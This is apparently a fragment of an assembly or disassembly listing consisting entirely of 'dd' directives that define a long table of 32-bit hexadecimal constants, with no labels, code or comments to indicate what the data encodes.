		dd 0F5003A54h, 554E7315h, 830716C5h, 48A284C9h,	0CB00F365h
		dd 0FCF56E04h, 2CDD00C6h, 6484C5CEh, 4B19655h, 2F349827h
		dd 4A68981Ah, 785C3Dh, 91F843E2h, 811D75A8h, 0AB00671Ah
		dd 8FBB391Bh, 44B99595h, 3CA5307Fh, 1D38D500h, 0C5DA549Fh
		dd 3F172FC9h, 34F06013h, 10951F2Bh, 0CCBF74h, 0C910C67Eh
		dd 2DDED92Eh, 9ECF0611h, 0DF0CC102h, 0D0E6248Ch, 46BC6D07h
		dd 0EFF0D76Eh, 4CACB9h,	55D2A6A1h, 37C3EC66h, 122A6B07h
		dd 8596A0EAh, 0FEA70039h, 25B99B98h, 78E28722h,	94DACF2Eh
		dd 1728642Dh, 4EE6285h,	0F44C4994h, 598AAE08h, 43FD8008h
		dd 4439DEBAh, 0AA302F0Eh, 6D81DFF4h, 0B54C273h,	6010E710h
		dd 99EFE002h, 5E03C134h, 0C7014E64h, 0DF32A2DDh, 909FAC25h
		dd 74B08C4Ch, 43BF1F83h, 13A8433Fh, 0AAA0EB58h,	50B1C10h
		dd 80244A64h, 0DE2F5054h, 890CBB6Fh, 0D4462A9Eh, 74FCAA4Ch
		dd 0DA04019h, 10848A19h, 0C23F8F0Bh, 98F0F15Ch,	6DA0B95Eh
		dd 768C24B8h, 166F9758h, 0EA0166Ch, 5120066Ch, 8754E00Ah
		dd 654D3F19h, 0B5033248h, 1885293Fh, 5B48454Eh,	4FC188A5h
		dd 226C7200h, 0B7F6367Dh, 0C8A80BCCh, 84055464h, 2B08D029h
		dd 7D02CD0Dh, 9F8185D3h, 0A4D0D62Ah, 22880B58h,	647828D0h
		dd 179FBA0Ch, 7C2AC16Ch, 13C02A7h, 5293307Dh, 0A180D074h
		dd 24CBEE08h, 1C3F0CAh,	2CF0141Bh, 8CC406h, 3A570B4Fh
		dd 530962D6h, 44033C1Dh, 81E59E22h, 29A5AE58h, 0C4398008h
		dd 72737404h, 0AB8201B7h, 3B368784h, 0BBA440B3h, 0C2278CBAh
		dd 35CCCA5h, 15ED47F5h,	1D90EBCFh, 0D404F8E2h, 0AE2195FBh
		dd 0EC90B885h, 45A0A70h, 4F553AB5h, 3868B065h, 6432A02Fh
		dd 0ACC80028h, 521BA787h, 8105EDE0h, 6BAF0C1Dh,	49226C82h
		dd 446AF432h, 219F11E0h, 8D080E34h, 0C80B1484h,	9F7AE80Ch
		dd 0C26C5C90h, 6430241Bh, 0BC099D20h, 77C505Dh,	99CF2DB9h
		dd 411381D2h, 50602A8Fh, 9229B1h, 6C61766Eh, 0C9704B4Dh
		dd 0DC7C9048h, 4035B4CEh, 8C3D8344h, 2546099Dh,	2870902Fh
		dd 828CA650h, 632A8709h, 37B41052h, 844C0ABAh, 89D8F6D0h
		dd 3C0F53C4h, 9E098B08h, 0C488D11Eh, 80552221h,	0BAE59D28h
		dd 7E542ECAh, 423C924Ch, 0D3C26F08h, 0D122EC85h, 8DD5DCh
		dd 163482Bh, 0A5F27669h, 0D19065FDh, 0B83CF068h, 0E020D84Eh
		dd 0EC271BFh, 3804FD74h, 14C1C85h, 8806D8D4h, 2238339Ch
		dd 0A28300F7h, 0A3AD0EDCh, 630031E2h, 767FE785h, 2D26CB3h
		dd 2A5AF1FAh, 9C741516h, 64DE4F8Bh, 7B530F40h, 84BDF912h
		dd 0AAD09D9Fh, 9C5F9C30h, 0E32009Bh, 1C2A71AFh,	0A128D612h
		dd 8B449C05h, 0FD920282h, 966FBFAAh, 0DA8368A0h, 60734DCh
		dd 0CEDD932Dh, 3C63D8F0h, 0BA6A1F1Ah, 9A007B9Ch, 0C16C57FEh
		dd 5898C645h, 0EAD20D02h, 0DE5220FBh, 90A5C8h, 2500B0F8h
		dd 8E80CE1h, 12C23Fh, 0CA2CE321h, 0BA835F5Eh, 6CF4322Ch
		dd 4C344B83h, 40E0FD5Ah, 0A0378412h, 1383A90Ah,	177800DFh
		dd 927F715Bh, 701722AAh, 881098B9h, 4453A258h, 901C001Ch
		dd 582A73Ah, 1472F21Fh,	42E1011Eh, 2C500600h, 25A060A8h
		dd 0A8E0AE3Bh, 11956F1Ch, 9FECF248h, 43CA00B5h,	0B0F37B2Dh
		dd 57163DAAh, 1C04E8DBh, 0A70048A9h, 0A8850F1Ch, 7C346809h
		dd 0B14443ADh, 0EC61C264h, 0D4E93643h, 4B0070AEh, 77E9F24Ah
		dd 17910170h, 954DC113h, 0EE37CCh, 2941E615h, 19938B5Ah
		dd 85DE5609h, 9CCE08h, 165AAA18h, 84262034h, 620581B0h
		dd 524C7A45h, 0EC9B64A4h, 0D43500A8h, 8B12F06h,	44001720h
		dd 2EF1026Fh, 1223980Eh, 0E5FD8870h, 872478F4h,	14C059E3h
		dd 581B9897h, 0A82264B0h, 3B533C98h, 0B46407E0h, 0D25F1DAFh
		dd 3C006CA7h, 95EBFD7Eh, 0F700D247h, 26F1E3AEh,	12024D52h
		dd 4CDCEE8h, 1072C68h, 9F6C8FBEh, 0B000B423h, 0D37592A4h
		dd 5A0FEF49h, 80BF3D10h, 0AE046AB3h, 0C290B0Fh,	24583021h
		dd 0A7805554h, 311A681Eh, 0FD39F0C7h, 78F26524h, 0F34C164Ch
		dd 6D542000h, 3F2A583Ah, 59C1DE00h, 51B44E65h, 822B2444h
		dd 62A763D8h, 81D25CC8h, 8DA8D302h, 5C30E9EFh, 8C030984h
		dd 11117471h, 0D2C14A85h, 0F4E4520Ch, 33B2207h,	0BDC0CF54h
		dd 910C6AD5h, 81BE874Ch, 490611E7h, 0C953DC27h,	1B0EE503h
		dd 26968C40h, 0A0843C68h, 0CA335BC8h, 7A7607E4h, 4120AD4Eh
		dd 0B794E54Ch, 0D61B4001h, 65088391h, 98712E0Ah, 0B9641F4Bh
		dd 0C8F39518h, 2886BB14h, 74346F00h, 0F115FDABh, 5F1670B2h
		dd 5C251E05h, 0E2006CECh, 0C5AB7C9Bh, 6C5D445Dh, 4C972C44h
		dd 41081108h, 698CEA2Ch, 65958144h, 49FC3679h, 1B9E0071h
		dd 0D851CBF3h, 610940A6h, 5E4B3DB0h, 2C006B94h,	0FCF1415Ch
		dd 0A1BBA211h, 58640702h, 0C0E608F0h, 64960D2Fh, 729145B4h
		dd 6C6A0380h, 0E003B7EDh, 1FDCDB11h, 5D68CB3Eh,	0C2CCCBB8h
		dd 9B2C2C71h, 2EAFDD00h, 96D4985h, 0E64B1214h, 2CE67489h
		dd 25218643h, 8CE84086h, 0C0E89819h, 57A58219h,	2000BB98h
		dd 30E80D4Bh, 0C4B8ACCFh, 0AA0F7408h, 0BAD12420h, 0EA4800A6h
		dd 0F5830C14h, 5501C4B2h, 0DC6CB76Fh, 3F94CB1h,	0C7CC1021h
		dd 3864B12Dh, 982AC800h, 99BF0D0Fh, 94CFEC00h, 6130A27Ch
		dd 0E00C24E6h, 2B330298h, 0E8466F08h, 0F9548600h, 0D37F01Ch
		dd 44D2003Eh, 0D7DCC63Fh, 2D0492E2h, 8AA5D6CEh,	0AEACC856h
		dd 50921300h, 0E4D6B07Dh, 49E8A056h, 0B4EA0031h, 0F221105Fh
		dd 0CA5C887Ah, 0B33DC050h, 0D59E77h, 0A8577FBBh, 379134DEh
		dd 2B0AC80Ah, 48098C3Fh, 0DBF80158h, 0B8488BBAh, 2CC0AE5Ch
		dd 908F2F4h, 0D48B532Dh, 229E3C51h, 5C44A500h, 9092FC67h
		dd 1A810164h, 0EF13033Ah, 54606B8Dh, 68F8A4h, 7A70BC4Eh
		dd 4432BB97h, 804769CBh, 1E9277C4h, 2A00F1D9h, 342D44A7h
		dd 0B00461A2h, 64501209h, 0F1AD94E1h, 0EB79901Bh, 4780B888h
		dd 0C8ACFA2Fh, 0CEBA0B8Eh, 80DD8D21h, 4A7FA7C5h, 0B029D69Eh
		dd 4B0052D0h, 73346089h, 0C4BF2C15h, 0AF37A0C1h, 12848C3Ch
		dd 0F06FCBC5h, 58843480h, 0BB00D42Fh, 0E3C2EBDBh, 8CFE67A7h
		dd 64067BFFh, 16C0F54Ch, 0A04916D0h, 275A3524h,	74854809h
		dd 9A4283Ch, 0C8BEC240h, 7F70882h, 0DE8ABB02h, 56FB4058h
		dd 400061Ch, 6357922Ah,	9581EA6Eh, 4BC114A0h, 8C43322h
		dd 0CC81907Eh, 0D18841DAh, 0A08B431Bh, 0D1504A32h, 0BFC40784h
		dd 0BC440031h, 0C000AF32h, 8E34F74Eh, 0EB3E2DF0h, 0CA386832h
		dd 76EAC480h, 6380676Eh, 0B8DFE805h, 0B001257Ah, 6077FDACh
		dd 0E2009C63h, 0BA5BE47Ch, 69001B48h, 109F352Fh, 9B64E60h
		dd 45045322h, 0A8112C40h, 541F4486h, 9222C801h,	6BD6205Ah
		dd 9C9F88C0h, 88966E10h, 345185F4h, 9D09F8C0h, 82BE5091h
		dd 5FFAE99h, 0ECC0FF20h, 24915E72h, 0CF160A80h,	4BD29Dh
		dd 44472A90h, 2B76483Ch, 0B4202EF1h, 7BED4D59h,	0BB5E48F4h
		dd 0DC1B017Ch, 122F2D5Ah, 305071D6h, 31C164E0h,	2BEAD72Ah
		dd 671B0020h, 91F80870h, 630984BAh, 0AD7D0024h,	61FC265h
		dd 9D8A413h, 2DC33C2Bh,	48003052h, 8F32D628h, 36513E4h
		dd 5BC85672h, 818FBB12h
		dd 420545C1h, 80C73F90h, 0CE89803Bh, 0B2743085h, 0B91400AAh
		dd 8CE1F903h, 0B4251E06h, 9C5B8Ah, 64FF99C6h, 0FB5AB0B7h
		dd 0C80F2420h, 6D7F59h,	16BBFCB4h, 5482AF9h, 0BD84C102h
		dd 71EC3D20h, 0CCAB2DF4h, 0C605C444h, 24649D26h, 9FB19C41h
		dd 87146E1Eh, 75B400FCh, 0D6000FADh, 0C27AEC50h, 944AF2D3h
		dd 7B5C8EC0h, 0F7B11801h, 9D4BE0EDh, 8A3A403Fh,	88700ED7h
		dd 9CAC1392h, 0E5DBB280h, 0A52D85C6h, 0BD14CCFBh, 0C5C76000h
		dd 0CE266068h, 0A80500EEh, 9C81119Fh, 0D02C1F9Eh, 1E648988h
		dd 48C61F22h, 73336603h, 89D0FD9Ch, 0FF20D55Ch,	84A3187Bh
		dd 96CBF060h, 60C81B4Eh, 43F0962Bh, 0F4B8A1CEh,	0EC90F219h
		dd 0C2615102h, 6039EB86h, 9C161C60h, 32114490h,	0A1841088h
		dd 0DB6C4D0Ah, 34804C2Eh, 0B9B8410Fh, 830A0063h, 33F58936h
		dd 6203942Eh, 46249248h, 0BA79B0EBh, 4484BE85h,	2B6F600Dh
		dd 7B10F152h, 0E008FFEh, 1E6CC450h, 0EB1F83h, 1240420Ch
		dd 346AF5A8h, 0CDA67713h, 74B810h, 0D384D6A7h, 7EC2D992h
		dd 0F099BFBAh, 0CB83177h, 977A57E0h, 3B42A904h,	3CA8189Fh
		dd 63248F8Fh, 0B564822Fh, 0AD13EE11h, 42981CEBh, 4003A1DBh
		dd 38D4ED95h, 289B6EFh,	5C225D07h, 0D854CD6Ah, 4070F1A5h
		dd 1D14A060h, 790005E0h, 68533974h, 0FD25107h, 0B6E34943h
		dd 1B1C4012h, 8C14B5DEh, 7BA02413h, 0ABC010C4h,	0A68FB86Ah
		dd 3E0C46ACh, 0E08CDB06h, 58D0120h, 3036C45Ah, 815FC4B5h
		dd 964742Fh, 7D8E42Ch, 0C62D8D3h, 531730C2h, 0F0B0B663h
		dd 2300C4BAh, 69DF7213h, 7331CF47h, 5CAE01C6h, 8C6F90A2h
		dd 14703AFFh, 8174E01Ch, 3583385h, 52D3B84Fh, 49CBA0C2h
		dd 0EC8F5863h, 26CF892h, 0DE57A882h, 0CD02BA1h,	839004B9h
		dd 1C650BC8h, 0A11904FFh, 3AB0B227h, 0BC3F440Dh, 92DC80E8h
		dd 0A20A593Eh, 0A1AD1E05h, 24B42C36h, 22564F2Dh, 50808DCCh
		dd 30A0FEDCh, 0CAC99891h, 0E438CB9Ch, 0F80CCE8h, 66A03722h
		dd 0A093FA2Ch, 0E4F77FE7h, 1AE359B0h, 0D12B01E0h, 0CBA35DC4h
		dd 0C4026B2Dh, 0D66F8451h, 83D80FCCh, 8765963Dh, 1E08A87Ch
		dd 4D94B92h, 6637B440h,	1C9F63Dh, 13CA3584h, 305C64CFh
		dd 0B4400370h, 0FB3C3AA0h, 1F3CF64Ah, 9CC31EEAh, 90B213F1h
		dd 1D5E667h, 3619E158h,	82B4CDD3h, 0A65F3851h, 55C5839h
		dd 0A5BEBADDh, 3930B665h, 2041A0h, 331D024Ch, 0E18FB3E5h
		dd 653684E0h, 51348C02h, 60B09380h, 137C10A0h, 0A3521BABh
		dd 9E3F39F4h, 0BFC0E1BCh, 79D396A3h, 0E08170Ah,	0D4B2CBh
		dd 0FBAA3A48h, 397826DEh, 0D8013DDh, 0B9784FAh,	9E13D18Fh
		dd 3082FB17h, 0ACE080BEh, 0DA7A8CB8h, 0B090B9A9h, 534C5292h
		dd 5AAB8028h, 50E7708Ch, 0C4B6744Dh, 448D7441h,	8720E20Dh
		dd 525173E0h, 9547FC50h, 0E886CE00h, 903F96ACh,	6FB4124Bh
		dd 63D8A4DFh, 0BF402090h, 0A92F889Ah, 3D485490h, 0BD1E81F4h
		dd 23E84D65h, 0FB10293h, 0CFA1CC60h, 0D64B9CD8h, 2F6ABCB0h
		dd 48042DFCh, 3C008247h, 0F86CC56h, 6468096Dh, 0D9A7A13Dh
		dd 0C8E80094h, 34B8F199h, 5A396864h, 0E111B408h, 0E21A0612h
		dd 0A7CF00CCh, 4EEC4DC5h, 46BB0102h, 69506592h,	640A3EBFh
		dd 23116814h, 0F00E13Eh, 9DF65FDBh, 82001A6Fh, 0A5C48CCDh
		dd 12375EE9h, 0AF273DAh, 488873Ch, 94888F22h, 13CCC8B4h
		dd 170359C5h, 0B0844856h, 0B0B03485h, 0D8C7400Ah, 32BBE9C2h
		dd 0E700FC19h, 68E3A340h, 0F899C08Dh, 3A0046E8h, 8770D77Fh
		dd 0E22F5232h, 80F8B958h, 0D8D1F31h, 42166C8Ch,	60CCCD6Eh
		dd 0C8355AA0h, 4E096088h, 44484932h, 0C5B2002Ch, 297DA38Ch
		dd 4D0047B1h, 0D3CC4E42h, 9C188F3h, 4FC017B8h, 0B11144A4h
		dd 805C6884h, 0AE10DE15h, 0EFA00727h, 81E47A44h, 0DA0FB5FDh
		dd 0DE6084FEh, 67895Eh,	0FAEFF715h, 0C96EA2A7h,	246C3701h
		dd 44DAC485h, 991B0020h, 93BB9C8Ch, 0C0B424A4h,	0E376D65Ch
		dd 641D8116h, 0D84430C2h, 0A1652264h, 0AD0BF8C8h, 1E0D44E0h
		dd 3F2B6C01h, 9EEA86E2h, 18A8307Ah, 61EC43FFh, 148F2501h
		dd 0C59284DBh, 0B80464CDh, 2D87804Ch, 29E40AECh, 394060EAh
		dd 6F272522h, 0F890A053h, 713E5D9Ah, 1E1C7742h,	40E879h
		dd 89F63C4h, 0CE850AFh,	928E30B1h, 0F08476FDh, 931744C1h
		dd 0B2E9A913h, 84B828C6h, 0E8C0A5F6h, 80046Ah, 0C6962E0Bh
		dd 15D6F86h, 3412B5B0h,	80099932h, 0EC79FCh, 5F54BE0Ah
		dd 0F9006AD9h, 2379A04Eh, 902EC0Fh, 832A16E8h, 0A6269450h
		dd 7C26F90Ah, 0BDD78C01h, 0D1109F3Dh, 902419F6h, 430089B6h
		dd 8946D7B9h, 25967673h, 202D9Fh, 25100C80h, 0BBF6C703h
		dd 9015320Dh, 97BADC76h, 0ED7CA096h, 8662D607h,	0F2B0231Fh
		dd 0FE6FE5Dh, 7CE8A99Fh, 997082A4h, 0FEEC3014h,	8810C805h
		dd 6C82AD33h, 8C96759Fh, 0B3D0EA00h, 77FED112h,	7C2300E4h
		dd 279815BEh, 8348E1F4h, 0A75F03F4h, 0D03EC27Dh, 0B53BA07Fh
		dd 0CA001894h, 1969D662h, 9EAB6Fh, 1BEFAEF3h, 0ACE1D5B9h
		dd 4E44C148h, 5A00A48Ah, 0D28C6230h, 4C12CC63h,	86007A79h
		dd 6221B7Fh, 9C70B417h,	7CA1802Bh, 5D37CAD1h, 0D883C24Ah
		dd 6415B04Ah, 1F2B1E2Ah, 12DB0947h, 92A12CA2h, 6964DCh
		dd 0F0D09F9Eh, 72C85E21h, 58FE857Ch, 9CB83C44h,	38094422h
		dd 223F4C34h, 0C5C40320h, 809180FCh, 6F047D26h,	344D0B04h
		dd 58B82D1Ah, 0F8C4232Dh, 0A2C12200h, 0FE35188h, 0BD0B001Eh
		dd 4BD04D49h, 89124069h, 3C045657h, 20AB1B03h, 9C4B32D0h
		dd 45108496h, 0DBBAC281h, 0C0F06839h, 16F5AF91h, 0C9D71753h
		dd 63190540h, 9994C2B4h, 6EA44112h, 4525507Ch, 7E8E84D3h
		dd 44F8C0AAh, 2CF0650Ah, 3CF058F2h, 2C30F40Ah, 0AA00424h
		dd 6830EA0Eh, 0A26E3E84h, 585C63D0h, 3600D859h,	11A04530h
		dd 499746A3h, 2B129D98h, 48004C46h, 0E3BC7A17h,	0E4EF529h
		dd 670D81B1h, 9AADCA0h,	2AEE8EBFh, 63C01A0Ch, 0B26B688Fh
		dd 62FC9C90h, 8709E30h,	914A3811h, 2DA36A00h, 0CE73CC62h
		dd 0EED89205h, 68020B0Ah, 764C6169h, 0BBFC0E4h,	9C00B089h
		dd 8D530559h, 3D1771E3h, 0CC87E282h, 7C309F8Fh,	4C99A739h
		dd 47FA6A80h, 976C59h, 1C293DB4h, 8824C4C6h, 19B3E800h
		dd 0C6FF074h, 0A80A6452h, 59BB4B98h, 860B919Ch,	9BF15071h
		dd 1312976Ch, 9FC00898h, 446EA089h, 168C42A0h, 0C0212A4Ah
		dd 3C124088h, 0D174460h, 1086F88h, 0B55085B6h, 30D4F822h
		dd 60490204h, 339E0A1Ch, 0FC204CBCh, 0A860B0BCh, 11E63440h
		dd 9C2D67h, 520D704Ch, 0BF9092h, 0B8824AC7h, 0D0D26A46h
		dd 2EC81004h, 60F26B95h, 0A0C4FD00h, 7640BCA5h,	9959FF0Fh
		dd 0C9C39FF4h, 82F3A386h, 92870041h, 0D9C1C61Eh, 2BCA97B9h
		dd 0D0488C3Ah, 0C21B4201h, 6EB999F1h, 40C46C6h,	0BBF2018Eh
		dd 6611C0B3h, 6CB6FA93h, 8130003Ch, 9E0F1A2Ch, 7DEF042Ah
		dd 0A03A98B0h, 9D20BFA0h, 5D80A192h, 76F0203Bh,	4F03FD70h
		dd 5F2AFEF2h, 1FF39839h, 8A345A9Eh, 598700F8h, 846B112Ah
		dd 3F7C26B0h, 80540074h, 9D9FCFDCh, 19B54E73h, 0DFC4489Ch
		dd 0A577E3h, 84300DF0h,	43DAFAF9h, 0FE189809h, 251060B2h
		dd 2DA60948h, 90D6B7EEh, 6080DEC5h, 53AC7h, 0A035147Eh
		dd 57F8FFB4h, 43A25100h, 0E31A6FCEh, 0D78500EBh, 0C24BD3BAh
		dd 589CC69Eh, 9CEE8940h
		dd 7CFA09h, 99388B01h, 1E972DC0h, 1659CA13h, 0B90A78A2h
		dd 17CD4381h, 13C000F8h, 51BC3A5Ch, 0A748C400h,	2FE85AAEh
		dd 49CC054Fh, 0F013A595h, 15FFCF50h, 58DC8Ch, 149A524Eh
		dd 86360637h, 0DF9D2602h, 0B0435B1Eh, 90D72DD0h, 260B4288h
		dd 94E4B013h, 30B200C5h, 0DFA51210h, 8218C0A8h,	9E39F540h
		dd 78449D1Fh, 0EC618F3h, 0DB1A68C7h, 0E8A57625h, 0BDE38560h
		dd 910FC000h, 2DDC251h,	0F7F1A785h, 58600D64h, 37B8133Ch
		dd 8F698879h, 0B05981h,	0E81AF6F4h, 0A50060AEh,	43928242h
		dd 29F3AE6h, 93A88B10h,	8C45261h, 0C29ABA01h, 6266CE90h
		dd 0A842B4C5h, 225840E9h, 0DCDD277Ah, 0B6BC858h, 0A96C98D9h
		dd 9FFC0777h, 0A0A1E4E1h, 49DD73Eh, 958CB813h, 90B798BCh
		dd 5EAFE99Dh, 0F4E9607h, 0B4D045BAh, 0BE269F57h, 9444A590h
		dd 1511B103h, 0A0DB4072h, 2A0A7Dh, 14F53718h, 0E674E462h
		dd 6F119C92h, 0A500EB53h, 5165B6D9h, 77002273h,	0F68A45B4h
		dd 1BB2566h, 28A2305Fh,	80A0B853h, 0C2610769h, 0B6984B34h
		dd 21D0409Ch, 3D043594h, 8F5E2DB4h, 37E060EFh, 0BFEC85F0h
		dd 4CE71B26h, 12F36760h, 0A286000Ah, 953EFA7Dh,	0A41CDA28h
		dd 44456453h, 7CFD4F6Bh, 5B9303C0h, 0D00089Bh, 55CDBEB8h
		dd 0ADF6A4h, 0AB3E1237h, 94B1798Ah, 0C51C7012h,	0BB2A50B2h
		dd 24A90464h, 8165BE59h, 7ACF1D98h, 3B8C28h, 0B5618BAh
		dd 2D90719Bh, 0D9B7BB00h, 13D77E52h, 98FC0374h,	46C8372Bh
		dd 903448A0h, 859BEC00h, 63CABBE0h, 0C466976Fh,	7703D6F2h
		dd 492D0E67h, 25F7A0C7h, 0AA56F4F2h, 47E476D0h,	0D4AEE2D9h
		dd 58E576E0h, 0DFEE8C04h, 0B4826ABBh, 3F406698h, 0A1003845h
		dd 120A4C18h, 5BE297C2h, 6C050401h, 160685BCh, 3F08C82Fh
		dd 1CA0C88Ch, 0FD731980h, 1899830h, 16A3367Dh, 0E0020780h
		dd 0DD5ABE13h, 0F0EAC020h, 8B823971h, 302D5994h, 0D6CE4703h
		dd 88D9B204h, 8F9A8FE5h, 78E1B63Bh, 0EBD3C400h,	85580F22h
		dd 0A865BE18h, 106CC268h, 0A94428D6h, 3D5BEC40h, 0C60961D5h
		dd 0D76E315Fh, 6027200h, 0F998DA8Eh, 6C613F5Bh,	0F804E676h
		dd 0C02C8EA4h, 541439AAh, 0BFE00932h, 1089F648h, 66A06448h
		dd 865024BEh, 89511652h, 0D04405E5h, 2070F16Fh,	8C78F14h
		dd 1B878208h, 9628D8FBh, 0C8F16054h, 5B0034DBh,	5F962DEh
		dd 0E267CB8Dh, 0BE2B0BCDh, 0EC8352D8h, 80124C53h, 0F098080Ah
		dd 63D8FB12h, 0D147015Ah, 21118D71h, 18096BCDh,	3CC40Bh
		dd 453AD4FEh, 89689124h, 44A36F2h, 581EB8F2h, 82B5002Eh
		dd 55DABA95h, 3D68BC3Eh, 110317CEh, 430088CAh, 0C7059832h
		dd 2B02DC52h, 0D131F42h, 551C48C3h, 983AEFBDh, 0D300E9A8h
		dd 3897F1CDh, 48DBB211h, 0F7007082h, 8508874Eh,	3002B30Ah
		dd 89B84B9Ah, 7DA9E274h, 9285B430h, 70C80A5Bh, 11C50FB7h
		dd 567A1C0h, 7965F16Ah,	7856D24Ah, 0B9BE7261h, 730CF4h
		dd 78226C81h, 25B2149Dh, 0EA2DA817h, 946C24A1h,	0F43F8680h
		dd 0CA008429h, 0C1D3E2D1h, 0E38CD4h, 2F4FD0A0h,	0F2D8DEFh
		dd 24346125h, 9DC08148h, 7D8E725h, 10FF35C6h, 5AE280E6h
		dd 8314D257h, 34ACA82Fh, 0A0FD7891h, 5C30C04Bh,	0F01FD3DFh
		dd 1684B29Fh, 6082B3B8h, 0FCCF2022h, 0F33BB91Bh, 963A80D8h
		dd 3BBD6EBAh, 0E98D00C3h, 0A51F14E2h, 0C704370Fh, 80506539h
		dd 0F0781FBAh, 339142D9h, 352E1500h, 0B4BA24B6h, 0D2D8A36Bh
		dd 4578D297h, 5BC4298h,	0CC471325h, 9488278Ch, 0B2969829h
		dd 7A440060h, 1121BA58h, 0DB5424D1h, 1A1C815Ch,	393DA1DEh
		dd 0F100756Ch, 0AC6DBE36h, 0AA28Ch, 6C2340C2h, 725F8614h
		dd 3B39A05h, 0ACD427C5h, 4519FC30h, 25917D2Eh, 0B4F21B67h
		dd 13265017h, 8F0F80A3h, 0D4A022E8h, 0AF779D7Eh, 0AC5F2024h
		dd 0F8AC9309h, 27C54230h, 0E41425h, 50C8BEDDh, 0B9737BA3h
		dd 0B09C5100h, 22E617D0h, 23DC5A5Dh, 19F18EACh,	0B951E8C5h
		dd 0FF31C100h, 0AB25CD44h, 49D10664h, 79949334h, 5A0D08EFh
		dd 8008B281h, 0C4E24CB7h, 0DB910746h, 4048AD66h, 6FF9BDE9h
		dd 38AE9605h, 0A8E40656h, 0C220F1C5h, 0D0890903h, 0E08FE692h
		dd 6094888h, 0ACC517h, 722A6FEAh, 0F009424Eh, 56154768h
		dd 704427C8h, 0F9AC3F00h, 44139A87h, 9E0CA0EFh,	5CB2500Ch
		dd 0C1640061h, 0C2CCD045h, 20F3F286h, 0F0880920h, 52F09D37h
		dd 0E3C9886h, 3865804Eh, 0EE70D598h, 0ABA10001h, 0B96029Eh
		dd 402C2D1Ch, 160917B3h, 1038764Bh, 0D9BF3408h,	0C15420EBh
		dd 1800A8EFh, 6458027h,	0FF958Dh, 0C25C0111h, 0B09BCE1Ah
		dd 25880309h, 0EB30F48Ah, 73072078h, 0CCC26E60h, 0B9340F80h
		dd 0CE5A03Bh, 3E035826h, 974A920Ah, 5A4011E0h, 9EF298C7h
		dd 0ED8591Eh, 0D5CC0BA5h, 21788808h, 795F2D30h,	4C4B3C4Eh
		dd 2E049C90h, 8022C772h, 75B019C8h, 13E0674Ch, 6CC89833h
		dd 48BD0045h, 65419BFCh, 9CE8F1B8h, 0C868000h, 632AF8D8h
		dd 0DC4A25B0h, 1D44CC64h, 49F4BC6Fh, 0F80D7B80h, 34483986h
		dd 328D80F4h, 1B189C88h, 806B9B99h, 3C2EA07Dh, 71C0E833h
		dd 3BFB60A2h, 0EFAC61B8h, 0FD880410h, 0D95A028Fh, 0A018D72Fh
		dd 97F69282h, 59728509h, 14C8649Bh, 0AA6F9ED6h,	0CB4C007Ch
		dd 98374B52h, 0CC1F1B3Ch, 0A3F9780h, 640EA1BBh,	0B803A002h
		dd 9236E0D8h, 0BB9F3F62h, 9F10912Ah, 627C864h, 9E90901Eh
		dd 0D02D4ABAh, 8D302E88h, 2876A4E6h, 7DB44C00h,	0E9951639h
		dd 0CFA1026Eh, 9E3A1A2Ch, 91FDE480h, 5DE2062Bh,	0DC9939F0h
		dd 9E43BABFh, 0A580C6DBh, 86B8611Bh, 3779C91Ah,	0F9E67410h
		dd 0FF60A424h, 0B389B600h, 54DC5B1h, 0E8AA39F7h, 0E04492EDh
		dd 3C639CA2h, 17B8C0B9h, 56D368D0h, 0AC5F07B6h,	20970F4Eh
		dd 0A8AC9C3h, 0B2B9401h, 0A45D0D6Fh, 0A6C44AF9h, 5F0C3E40h
		dd 1217A054h, 0FC8434A9h, 7A2CC0D0h, 7CD62A6Ch,	79811FE9h
		dd 0A9A448B6h, 79383832h, 0D013023Ch, 2CC097BDh, 0BE8007C7h
		dd 0B41B2503h, 9E01A816h, 85A67B10h, 0E43D389Fh, 9C7AB058h
		dd 0CB3BE238h, 2BCAC780h, 1800D0D5h, 828F0628h,	27938C8Dh
		dd 0BCC2AEA5h, 7649A0DCh, 7EED00D0h, 2A88D3F3h,	0A82E690Dh
		dd 282FB865h, 0E40070F4h, 0E764B6CDh, 0FB5E13h,	0BB225861h
		dd 4408DE2Ah, 0FA3C909Fh, 6B780041h, 0A40440D8h, 750F9F1Eh
		dd 175812C9h, 0A94E28E0h, 0B8C3C818h, 15B034h, 641B4C48h
		dd 2DCBC7FFh, 0AC9EFC2Ch, 0A749FB64h, 7519460Ch, 0C8619B00h
		dd 0B9ED9592h, 5017018Ch, 1AD22B6h, 9AAC340Bh, 0CE524E09h
		dd 0C09C744Ah, 15C52889h, 2DC2451Dh, 28C844D7h,	53A30059h
		dd 4F4A7D8h, 0AD2474C2h, 0BE60D49Fh, 1CCCA8DAh,	53654429h
		dd 0B7E0A0BFh, 642F0284h, 1B062DEEh, 5242C0DEh,	72451F9h
		dd 0F9A2854h, 0D0CC05C0h, 0FF09729Ch, 480DA062h, 5F8906A0h
		dd 73C4DC9Eh, 0EAF1FE1Dh, 56E36E49h, 22AA00FCh,	0A059897Ch
		dd 489A3210h, 12509216h, 2A1882E0h, 0F5D890D5h,	8CB4009Dh
		dd 842C29C8h, 850339BDh, 8710647Fh, 36E5B68h, 0F4F0386Ch
		dd 94441E6h, 0F85200FFh, 0BE2FCD66h, 0FC98DC50h, 0BF6ABA09h
		dd 5064542Ah, 9A40FAF8h, 0D8CE89A0h, 9C003681h,	67E875CFh
		dd 0BD00B78h, 9F3561F1h, 84BB9898h, 906C96B7h, 0BC12B598h
		dd 7C449C0Bh, 0B23022h,	0C77EFF67h, 25165EE2h, 1176BE00h
		dd 0EB4CBD61h, 0F4C55BBAh
		dd 0E026C68Ch, 0E8407C2Ch, 0BFAA83h, 0B4F4E49Ch, 119E65F2h
		dd 0D90C7902h, 75C938B2h, 0CA0F2C91h, 3B80B0D7h, 0BFB450DAh
		dd 4E0B7B3Fh, 268CA20h,	6D628DDEh, 80745271h, 95305BE4h
		dd 2DF90CECh, 0B0894A30h, 6F062FF4h, 0C1007910h, 179ECD3Eh
		dd 375C1095h, 6A530B44h, 405C4897h, 0BBC6C760h,	23190E4Ch
		dd 0ECA16980h, 30C8BF9Fh, 54A19D54h, 0D8C41003h, 0F1710091h
		dd 0C766AF1Ch, 0B5024C2Fh, 0B3344F2Dh, 27C4F119h, 4D3B4C10h
		dd 0F9BF0D07h, 88F06B31h, 0AE10Eh, 0A5229CF5h, 0A7561A2Ah
		dd 4B60919Dh, 0A9E4F7D1h, 2E4A2F7Bh, 0B1D704CAh, 66D6BBF0h
		dd 0D81A0268h, 2D7BC67Ah, 0E4B73858h, 889E07CCh, 901258E3h
		dd 0EA0414FAh, 28C1BD01h, 0CA1AF968h, 7792BD0h,	2CC26C33h
